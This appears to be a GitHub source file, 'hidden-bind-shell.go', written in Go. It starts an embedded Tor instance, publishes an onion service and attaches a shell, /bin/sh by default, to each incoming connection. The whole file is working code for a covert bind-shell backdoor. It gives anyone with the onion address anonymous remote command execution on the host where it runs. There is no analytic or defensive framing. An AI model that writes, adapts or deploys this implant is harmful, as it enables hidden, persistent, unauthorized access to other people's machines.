-
Notifications
You must be signed in to change notification settings - Fork 9
/
hidden-bind-shell.go
144 lines (123 loc) · 3.79 KB
/
hidden-bind-shell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package main
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"flag"
"fmt"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"path"
"time"
"github.com/cretz/bine/process"
"github.com/cretz/bine/tor"
libtor "github.com/ipsn/go-libtor"
)
type Config struct {
TorConfig tor.StartConf
TorListenConfig tor.ListenConf
Timeout int
BindShellProgram string
}
// Link bine with go-libtor instance creator
var creator = libtor.Creator
type LibTorWrapper struct{}
func (LibTorWrapper) New(ctx context.Context, args ...string) (process.Process, error) {
return creator.New(ctx, args...)
}
func parseArgs() Config {
config := Config{}
config.TorConfig = tor.StartConf{}
config.TorConfig.ProcessCreator = LibTorWrapper{}
config.TorConfig.DebugWriter = os.Stderr
flag.StringVar(&config.TorConfig.DataDir, "data-dir", "", "Where Tor data is stored. If not defined, a directory is created")
config.TorListenConfig = tor.ListenConf{}
var flagHiddenSrvPort int
flag.IntVar(&flagHiddenSrvPort, "hiddensrvport", 80, "Tor hidden service port where bind-shell will be started")
flag.IntVar(&config.Timeout, "timeout", 180, "Timeout in seconds for Tor setup")
flag.StringVar(&config.BindShellProgram, "bind-shell-program", "/bin/sh", "Program to execute on bind-shell")
flag.Usage = func() {
fmt.Fprintf(os.Stderr, "Usage of %s:\n\n", path.Base(os.Args[0]))
flag.PrintDefaults()
fmt.Fprintf(os.Stderr, "\n")
}
flag.Parse()
config.TorListenConfig.RemotePorts = []int{flagHiddenSrvPort}
if config.TorConfig.DataDir == "" {
currentdir, _ := os.Getwd()
datadir, err := ioutil.TempDir(currentdir, "data-dir-")
if err != nil {
log.Panicf("Cannot create data-dir. %v", err)
}
config.TorConfig.DataDir = datadir
}
return config
}
func main() {
config := parseArgs()
// Start tor with some defaults + elevated verbosity
fmt.Println("Starting and registering onion service, please wait a bit...")
t, err := tor.Start(nil, &config.TorConfig)
if err != nil {
log.Panicf("Failed to start tor: %v", err)
}
defer t.Close()
// Wait at most a few minutes to publish the service
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(config.Timeout)*time.Second)
defer cancel()
if _, err := os.Stat(config.TorConfig.DataDir + "/keys/onion.pem"); os.IsNotExist(err) {
// No key, so force creation
// openssl genrsa -out $datadir/keys/onion.pem 1024
key, err := rsa.GenerateKey(rand.Reader, 1024)
if err != nil {
log.Panicf("Failed to generate RSA private key")
}
config.TorListenConfig.Key = key
keyfile, err := os.Create(config.TorConfig.DataDir + "/keys/onion.pem")
if err != nil {
log.Panicf("Cannot save RSA private key. %v", err)
}
pem.Encode(keyfile, &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(key),
})
} else {
// Found key for onion service
buff, err := ioutil.ReadFile(config.TorConfig.DataDir + "/keys/onion.pem")
block, _ := pem.Decode(buff)
key, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
log.Panicf("Wrong private key format")
}
config.TorListenConfig.Key = key
}
// Create an onion service to listen on any port but show as 80
onion, err := t.Listen(ctx, &config.TorListenConfig)
if err != nil {
log.Panicf("Failed to create onion service: %v", err)
}
defer onion.Close()
for _, port := range config.TorListenConfig.RemotePorts {
fmt.Printf("Bind shell is listening on %v.onion:%v\n", onion.ID, port)
}
for {
conn, err := onion.Accept()
if err != nil {
log.Panicf("Error: %v", err)
continue
}
go handleClient(conn, config.BindShellProgram)
}
}
func handleClient(conn net.Conn, program string) {
fmt.Println("New Connection")
defer conn.Close()
cmd := exec.Command(program)
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
}